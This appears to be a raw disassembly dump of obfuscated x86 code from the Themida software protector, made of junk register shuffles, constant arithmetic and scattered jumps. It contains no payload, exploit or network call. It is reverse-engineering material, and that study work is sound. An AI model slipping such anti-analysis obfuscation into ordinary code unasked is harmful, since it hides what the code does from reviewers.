; END OF FUNCTION CHUNK FOR sub_59E918
; =============== S U B R O U T I N E =======================================
sub_59FD45 proc near ; CODE XREF: sub_5A2196-74BDj
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00590CED SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005917A9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592155 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594CA3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00595527 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059612C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059652F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00596C3F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00596F8A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00597F6D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005980C7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599AED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A1CF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B274 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059B4A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B88F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059BC23 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059BD1A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D0E9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D4ED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F526 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FAFF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059FC5B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A00A8 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A0A26 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1B70 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 005A3E4A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4490 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4654 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A48E0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5824 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5AA9 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A5B94 SIZE 00000008 BYTES
push ebp
push [esp+8+var_4]
pop ebp
jmp loc_59B88F
sub_59FD45 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592586
loc_59FD50: ; CODE XREF: sub_592586+6471j
mov ebp, esi
mov eax, ebp
pop ebp
pop esi
jmp loc_59AF5E
; END OF FUNCTION CHUNK FOR sub_592586
; ---------------------------------------------------------------------------
loc_59FD5B: ; CODE XREF: Themida_:00599780j
xchg ecx, [esp]
pop esp
push edi
mov edi, 787647Eh
inc edi
shl edi, 8
and edi, 5CE37489h
push eax
mov eax, 3164B60h
xor eax, 112E6C6Bh
jmp loc_59A647
; ---------------------------------------------------------------------------
loc_59FD7F: ; CODE XREF: Themida_:005987E9j
push esi
mov esi, 9EC9B2B5h
add ebx, 65FC6010h
add ebx, esi
sub ebx, 65FC6010h
mov esi, [esp]
add esp, 4
jmp loc_59AAC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FDA1: ; CODE XREF: sub_59390B+964j
neg esi
jmp loc_5923A5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59FDA8: ; CODE XREF: Themida_:005A420Dj
add ebx, 4
push eax
jmp loc_591EFB
; ---------------------------------------------------------------------------
loc_59FDB4: ; CODE XREF: Themida_:0059C8D6j
add edi, 1604478Ch
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 0F0C59B1h
shl edi, 1
neg edi
or edi, 447839FDh
shr edi, 8
sub edi, 61322A36h
push ecx
jmp loc_5A5109
; ---------------------------------------------------------------------------
loc_59FDE6: ; CODE XREF: Themida_:005A2441j
cmp cl, al
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59FDEE: ; CODE XREF: sub_5936EC+C8B6j
sub ebp, 11B72D4h
add ebp, edx
jmp loc_597375
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_59FDFB: ; CODE XREF: Themida_:0059E34Aj
xor edx, 4AA08444h
jmp loc_5A2145
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FE06: ; CODE XREF: sub_59390B+ACA0j
push 2B43h
mov [esp+14h+var_14], edx
push edi
mov edi, 1D3C181Fh
mov edx, edi
pop edi
sub ebx, edx
pop edx
add ebx, 5246AEAh
jmp loc_5985CA
; ---------------------------------------------------------------------------
loc_59FE25: ; CODE XREF: sub_59390B+49BDj
push esi
jmp loc_59A7B1
; ---------------------------------------------------------------------------
loc_59FE2B: ; CODE XREF: sub_59390B-1042j
pop esi
pop [esp-8+arg_0]
pop esp
push 2958h
mov [esp-0Ch+arg_4], esi
push 42Ch
mov [esp-8+arg_0], edx
push 3EBC41B5h
pop edx
push 2131h
mov [esp+0], ecx
sub esp, 4
jmp loc_5A2069
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59FE56: ; CODE XREF: Themida_:00599C17j
add eax, 4
xchg eax, [esp]
jmp loc_592951
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_59FE63: ; CODE XREF: sub_59F8C2+F0Bj
mov ebx, 0F869E22Eh
add ebp, ebx
pop ebx
add eax, ebp
pop ebp
jmp loc_593C16
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1E76
loc_59FE73: ; CODE XREF: sub_5A1E76-3CB9j
sub esi, 18623B74h
jmp sub_59CF38
; END OF FUNCTION CHUNK FOR sub_5A1E76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FE7E: ; CODE XREF: sub_59390B-2D31j
pop ebx
push esi
mov esi, 2
add ecx, esi
jmp loc_599DA8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59FE8C: ; CODE XREF: Themida_:005A3B98j
pop esi
xor esi, 0A0D64BFh
or esi, 45F83E09h
push ebx
jmp loc_5A50DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F401
loc_59FE9F: ; CODE XREF: sub_59F401-38Bj
pop esi
jmp loc_599CA4
; END OF FUNCTION CHUNK FOR sub_59F401
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59FEA5: ; CODE XREF: sub_590AC5+1EF5j
push dword ptr [esp+0]
pop edi
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_59CA88
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
loc_59FEB7: ; CODE XREF: Themida_:0059CEC3j
add esi, 142224h
add esi, ebp
sub esi, 142224h
pop ebp
jmp loc_59717C
; ---------------------------------------------------------------------------
loc_59FECB: ; CODE XREF: Themida_:0059EF83j
not edx
xor edx, 0A6219004h
jmp loc_594FE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FED8: ; CODE XREF: sub_59390B+C68Cj
mov ebp, [esp-8+arg_0]
push ecx
push esp
jmp loc_59E7E4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59FEE2: ; CODE XREF: sub_59E918-659Aj
dec byte ptr [esp+10h+var_10+1]
pop ax
mov cl, ah
mov ax, word ptr [esp+0Eh+var_10+2]
add esp, 2
sub cl, 0BBh
sub cl, 94h
jmp loc_594574
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_59FEFC: ; CODE XREF: sub_59D1FC-826Cj
not ebx
jmp loc_59C70F
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
jmp loc_597567
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59931D
loc_59FF0D: ; CODE XREF: sub_59931D+131j
shl edx, 1
push dword ptr [edi+24h]
push edx
sub esp, 4
jmp loc_59A5C1
; END OF FUNCTION CHUNK FOR sub_59931D
; ---------------------------------------------------------------------------
loc_59FF1B: ; CODE XREF: Themida_:00594EC3j
push eax
mov eax, 417B253Bh
add ecx, eax
pop eax
add eax, ecx
pop ecx
sub eax, 2AE14CADh
jmp loc_599F02
; ---------------------------------------------------------------------------
loc_59FF31: ; CODE XREF: Themida_:00594DE3j
mov [esp], esi
mov esi, 2E430BCCh
jmp loc_594B83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FF3E: ; CODE XREF: sub_59390B+EAB9j
sub esi, ebx
pop ebx
jmp loc_5A2EF0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59FF46: ; CODE XREF: Themida_:0059C23Fj
xor edx, [esp]
xor [esp], edx
jmp loc_59C1BC
; ---------------------------------------------------------------------------
loc_59FF51: ; CODE XREF: Themida_:00598347j
mov bl, 45h
or bl, 0BBh
shr bl, 4
push ax
jmp loc_5A004E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59605F
loc_59FF60: ; CODE XREF: sub_59605F-3305j
add esi, 4
xchg esi, [esp+4+var_4]
jmp loc_599CAA
; END OF FUNCTION CHUNK FOR sub_59605F
; ---------------------------------------------------------------------------
loc_59FF6E: ; CODE XREF: Themida_:005A461Ej
push esi
jmp loc_59AE04
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FF74: ; CODE XREF: sub_59390B+97AAj
xor ecx, esi
jmp loc_59EA83
; ---------------------------------------------------------------------------
loc_59FF7B: ; CODE XREF: sub_59390B+983j
mov esi, esp
add esi, 4
push ebp
mov ebp, 4
add esi, 68D1E1Eh
add esi, ebp
sub esi, 68D1E1Eh
jmp loc_59FED8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59FF9C: ; CODE XREF: sub_5936EC+26j
push edx
mov edx, 1
jmp loc_59FDEE
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595949
loc_59FFA7: ; CODE XREF: sub_595949-381Cj
mov edi, 2
mov esi, edi
pop edi
add ebp, esi
mov esi, [esp+4+var_4]
add esp, 4
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
pop esp
push 6C5Fh
jmp loc_599D7A
; END OF FUNCTION CHUNK FOR sub_595949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FFCE: ; CODE XREF: sub_59390B+9C2Cj
xor dh, 0A0h
add dh, 0BAh
dec dh
add dh, 1Bh
jmp loc_5A396C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598BAA
loc_59FFDE: ; CODE XREF: sub_598BAA+A79Fj
xor [esp+0], ebp
jmp loc_5960DD
; END OF FUNCTION CHUNK FOR sub_598BAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_59FFE6: ; CODE XREF: sub_59918B-3F34j
add esp, 4
jmp loc_5969C8
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_59FFF1: ; CODE XREF: Themida_:00595074j
mov edi, 781F3B0Dh
add ebp, edi
pop edi
sub ebp, ebx
push esi
jmp loc_596425
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592CEE
loc_5A0001: ; CODE XREF: sub_592CEE+7E17j
pop ebx
mov ecx, [esp-4+arg_0]
add esp, 4
sub esp, 4
mov [esp-4+arg_0], ebx
mov bh, ah
mov dl, bh
pop ebx
pop eax
mov ebx, [esp+0]
add esp, 4
mov [ebx], dl
jmp loc_591D4D
; END OF FUNCTION CHUNK FOR sub_592CEE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5A0024: ; CODE XREF: sub_5A17BF-4BECj
pop ebp
add eax, 115D4D05h
sub eax, ebx
jmp loc_59C79E
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A0031: ; CODE XREF: sub_59E918+37F3j
pop esi
inc esi
add esi, 260D4A2Eh
sub esi, 3B423F90h
jmp loc_5A3E7F
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0044: ; CODE XREF: sub_59390B+27F0j
push 0C85h
jmp loc_59D664
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A004E: ; CODE XREF: Themida_:0059FF5Bj
mov al, 0C4h
sub bl, al
pop ax
not bl
xor bl, 8Eh
mov dl, bl
jmp loc_5A4A10
; =============== S U B R O U T I N E =======================================
sub_5A0060 proc near ; CODE XREF: sub_59390B+F888j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00594AA6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00595741 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00595DAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BA0A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059DAEF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059ED29 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A119D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A1D12 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A4994 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A58A4 SIZE 00000008 BYTES
push ebx
mov ebx, 4
jmp loc_59BA0A
sub_5A0060 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5A006B: ; CODE XREF: Themida_:0059ECFCj
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push edi
push dword ptr [esp+4]
pop edi
jmp loc_595365
; ---------------------------------------------------------------------------
loc_5A0089: ; CODE XREF: Themida_:005985F3j
add esp, 4
mov ebx, [esp]
add esp, 4
push 0E51h
mov [esp], ecx
push edx
mov dl, 6
mov ch, dl
pop edx
jmp loc_5A03DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5A00A8: ; CODE XREF: sub_59FD45-9C00j
mov [esp+10h+var_10], eax
push ecx
mov ecx, 3A253CDBh
sub ecx, 5760E5Dh
add ecx, 230A1BB2h
push ecx
xor dword ptr [esp+0], 184D4DACh
pop eax
push 1369h
mov [esp+0], esi
mov esi, 184D4DACh
jmp loc_5A48E0
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A00D8: ; CODE XREF: sub_59A4D6+2EB5j
mov edi, [esp+0]
sub esp, 4
mov [esp+0], eax
push esp
jmp loc_5A27B9
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_5A00E7: ; CODE XREF: Themida_:005A3BA6j
pop eax
add eax, 4
push edi
jmp loc_59311F
; ---------------------------------------------------------------------------
loc_5A00F3: ; CODE XREF: Themida_:0059B783j
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
jmp loc_590E17
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A0100: ; CODE XREF: sub_59E918-D174j
pop ebx
jmp loc_5A49C3
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_5A0106: ; CODE XREF: Themida_:005959E9j
sub eax, 4471BF4h
push 48CAh
mov [esp], edx
jmp loc_5A3F37
; ---------------------------------------------------------------------------
loc_5A0118: ; CODE XREF: Themida_:0059F606j
push ebx
mov bl, 9Fh
jmp loc_591E3F
; ---------------------------------------------------------------------------
loc_5A0120: ; CODE XREF: Themida_:005A257Dj
add ebx, edx
sub ebx, 4CD82756h
pop edx
jmp loc_591725
; ---------------------------------------------------------------------------
loc_5A012E: ; CODE XREF: Themida_:005A1889j
mov ebp, edx
jmp loc_5A3163
; ---------------------------------------------------------------------------
loc_5A0135: ; CODE XREF: Themida_:0059F94Aj
pop eax
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_594456
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A014A: ; CODE XREF: sub_59CFD4-C13Dj
inc [esp+18h+var_18]
pop eax
sub esp, 4
mov [esp+18h+var_18], ebx
sub esp, 4
mov [esp+1Ch+var_1C], edx
mov edx, 47600014h
and edx, 28AB18CFh
add edx, 21ED4180h
shr edx, 7
inc edx
sub edx, 0EA30FFA6h
jmp loc_59DF29
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_5A0180: ; CODE XREF: Themida_:00590E70j
sub esi, (offset loc_42447A+2)
add ebp, esi
pop esi
push 6A5Ah
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_59CD80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A019A: ; CODE XREF: sub_59390B+CB1j
add esi, 0D46D5410h
sub esi, 6B691968h
not esi
jmp loc_5A0E43
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A01AD: ; CODE XREF: Themida_:005A32D0j
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_5A4FD1
; ---------------------------------------------------------------------------
loc_5A01C7: ; CODE XREF: Themida_:00590FB9j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push ebx
mov ebx, 4
add ecx, 509D4593h
jmp loc_5962DE
; ---------------------------------------------------------------------------
loc_5A01E5: ; CODE XREF: Themida_:00598011j
mov ebp, 35766794h
and edx, ebp
pop ebp
neg edx
jmp loc_59B221
; ---------------------------------------------------------------------------
loc_5A01F4: ; CODE XREF: Themida_:005972B9j
mov cl, dh
pop edx
push eax
mov al, cl
jmp loc_59A85F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A01FF: ; CODE XREF: sub_59390B+5CA5j
add eax, 36590F64h
sub eax, ecx
sub eax, 36590F64h
sub eax, 4A4233DDh
push dword ptr [esp+0]
pop ecx
push ebp
mov ebp, esp
jmp loc_5A3FB4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_5A021C: ; CODE XREF: sub_598762+51D0j
push ecx
jmp loc_5989FC
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 1098h
jmp loc_5A0723
; ---------------------------------------------------------------------------
loc_5A022F: ; CODE XREF: Themida_:0059E15Fj
sub eax, 1F8D0E33h
mov edx, eax
mov eax, [esp]
push ebp
mov ebp, esp
push edx
mov edx, 9C32084h
add edx, 0FFFFFFFFh
dec edx
xor edx, 9C32086h
add ebp, edx
pop edx
add ebp, 4
xchg ebp, [esp]
pop esp
sub edx, 1031625Bh
shr edx, 3
jmp loc_59FCB0
; ---------------------------------------------------------------------------
loc_5A0264: ; CODE XREF: Themida_:00590AC0j
not ecx
sub ecx, 8EE7891Bh
or esi, ecx
pop ecx
or esi, 6F1E35F4h
xor esi, 498F50F5h
jmp loc_593368
; ---------------------------------------------------------------------------
loc_5A0280: ; CODE XREF: Themida_:005A1C39j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push esi
mov esi, 4
push edx
mov edx, 79705EDBh
add ebp, edx
mov edx, [esp]
add esp, 4
jmp loc_59C660
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A02AA: ; CODE XREF: sub_59390B-1DADj
push edi
mov edi, 525C3E7Ch
or edi, 21616871h
jmp loc_5A2782
; ---------------------------------------------------------------------------
loc_5A02BB: ; CODE XREF: sub_59390B+8542j
xchg edi, [esp-14h+arg_C]
pop esp
add al, 0EFh
sub al, dh
sub al, 0EFh
jmp loc_593E89
; ---------------------------------------------------------------------------
loc_5A02CA: ; CODE XREF: sub_59390B+CEB2j
not ebx
xchg ebx, ebp
xchg ebx, ebp
push ebx
push edi
pop ebx
pop edi
push 426Eh
mov [esp-14h+arg_C], edi
dec [esp-14h+arg_C]
not [esp-14h+arg_C]
jmp loc_59A6EE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_5A02E7: ; CODE XREF: sub_5A0733-4595j
pop eax
push edi
mov edi, 3E336ACCh
jmp loc_59A450
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
loc_5A02F3: ; CODE XREF: Themida_:005965C4j
add ebp, 5E0162Dh
add edx, ebp
pop ebp
add edx, 10B701B5h
push eax
jmp loc_59BC4B
; ---------------------------------------------------------------------------
loc_5A0308: ; CODE XREF: Themida_:0059806Ej
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
xor esi, 3D4F3A66h
mov edi, [esp]
add esp, 4
jmp loc_593274
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0331: ; CODE XREF: sub_59390B+4BCBj
add esp, 4
push edi
jmp loc_59365F
; ---------------------------------------------------------------------------
loc_5A033A: ; CODE XREF: sub_59390B+97C8j
add esp, 4
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A0342: ; CODE XREF: sub_59CAFB-63F0j
mov ecx, [esp+8+var_8]
jmp loc_594FDC
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_5A034A: ; CODE XREF: Themida_:0059C5BFj
xchg edx, [esp]
pop esp
add esp, 4
jmp loc_594AE5
; =============== S U B R O U T I N E =======================================
sub_5A0356 proc near ; DATA XREF: Themida_:00590A2Co
push dword ptr [edi+2Ch]
jmp loc_590A9B
sub_5A0356 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_5A035E: ; CODE XREF: sub_5932F7+BA1Ej
and eax, ebp
push [esp-8+arg_4]
pop ebp
add esp, 4
or eax, eax
jz loc_5A19A0
push dword ptr [edi+1Ch]
push [esp-8+arg_4]
push [esp-4+arg_0]
mov ecx, [esp+0]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5A43B5
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A038F: ; CODE XREF: sub_59A4D6-1250j
push edi
jmp loc_59F860
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_5A0395: ; CODE XREF: Themida_:00591434j
push esp
pop ebp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_591C0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BF22
loc_5A03AF: ; CODE XREF: sub_59BF22-151Dj
add eax, 4
push 6A78h
mov [esp+8+var_8], edi
sub esp, 4
mov [esp+0Ch+var_C], ebx
mov ebx, 732C415Bh
add ebx, 5B570984h
jmp loc_592824
; END OF FUNCTION CHUNK FOR sub_59BF22
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A03D2: ; CODE XREF: sub_59390B+8AFj
mov al, 0C7h
push edx
mov dl, al
push eax
mov ah, dl
jmp loc_5A56E8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A03DF: ; CODE XREF: Themida_:005A00A3j
sub al, 89h
sub al, ch
push ecx
mov cl, 89h
jmp loc_59F69B
; ---------------------------------------------------------------------------
loc_5A03EB: ; CODE XREF: Themida_:0059EF39j
pop esi
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub esi, 0FFFFFFFFh
jmp loc_59471C
; ---------------------------------------------------------------------------
loc_5A040A: ; CODE XREF: Themida_:005986C7j
sub esp, 4
mov [esp], ebp
mov ebp, 7DB31DE3h
or ebp, 4CA13B48h
push ebx
jmp loc_5A5B4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A0424: ; CODE XREF: sub_595BAD-711j
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
shr ecx, 0Bh
push edi
mov edi, ebx
jmp loc_5A2847
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0435: ; CODE XREF: sub_59390B+1B8j
push 7BF8h
mov [esp+0], esp
add dword ptr [esp+0], 4
pop dword ptr [esp+0]
jmp sub_59897B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595949
loc_5A044C: ; CODE XREF: sub_595949+7j
pop edi
jmp loc_59D03D
; END OF FUNCTION CHUNK FOR sub_595949
; ---------------------------------------------------------------------------
loc_5A0452: ; CODE XREF: Themida_:005923DEj
push ebp
mov ebp, 4
add edi, ebp
pop ebp
xor edi, [esp]
jmp loc_594645
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A0463: ; CODE XREF: sub_59CFD4-27B4j
sub [esp+10h+var_4], eax
pop eax
pop ecx
jmp loc_5A571C
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A046E: ; CODE XREF: sub_59390B+D884j
mov [esp+0], esp
add dword ptr [esp+0], 4
pop eax
jmp loc_59308F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F401
loc_5A047B: ; CODE XREF: sub_59F401+6j
sub [esp+8], ebx
jmp loc_59EB87
; END OF FUNCTION CHUNK FOR sub_59F401
; ---------------------------------------------------------------------------
loc_5A0484: ; CODE XREF: Themida_:0059C3FEj
xchg eax, [esp]
jmp loc_5A3E5F
; ---------------------------------------------------------------------------
loc_5A048C: ; CODE XREF: Themida_:0059D5DAj
pop ebx
mov ecx, [esp]
add esp, 4
pop ecx
dec ebx
sub ebx, 0FFFD39F8h
add edx, ebx
pop ebx
xchg edx, [esp]
pop esp
jmp loc_59E6AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A04AA: ; CODE XREF: sub_59CFD4+70Bj
pop ecx
xchg ebp, [esp+1Ch+var_1C]
pop esp
pop eax
sub edi, ebp
pop ebp
push edi
sub [esp+14h+var_14], 20A273ACh
jmp loc_59D878
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B2AF
loc_5A04C0: ; CODE XREF: sub_59B2AF+1B3Aj
add esi, 6C930515h
pop ebp
xchg esi, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
btc word ptr [esp-4+arg_0], ax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59B2AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_5A04D8: ; CODE XREF: sub_5A0733+DE7j
neg edi
neg edi
shr edi, 7
jmp loc_5958DB
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
loc_5A04E4: ; CODE XREF: Themida_:005A47F1j
or eax, 796F558Ch
shr eax, 3
jmp loc_59111B
; ---------------------------------------------------------------------------
loc_5A04F1: ; CODE XREF: Themida_:005A4D63j
mov [esp], ecx
push esp
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_598931
; ---------------------------------------------------------------------------
loc_5A0507: ; CODE XREF: Themida_:0059569Ej
push ecx
jmp loc_59EB11
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5999A4
loc_5A050D: ; CODE XREF: sub_5999A4+AF0Aj
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
xor ebx, [esp+4+var_4]
pop esp
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+4+var_4]
pop esp
mov [esp+0], esi
mov esi, 4
add ebx, esi
pop esi
xor ebx, [esp-4+arg_0]
xor [esp-4+arg_0], ebx
xor ebx, [esp-4+arg_0]
pop esp
push [esp-8+arg_4]
pop ecx
push 2653h
mov [esp-4+arg_0], ebp
push esp
jmp loc_593951
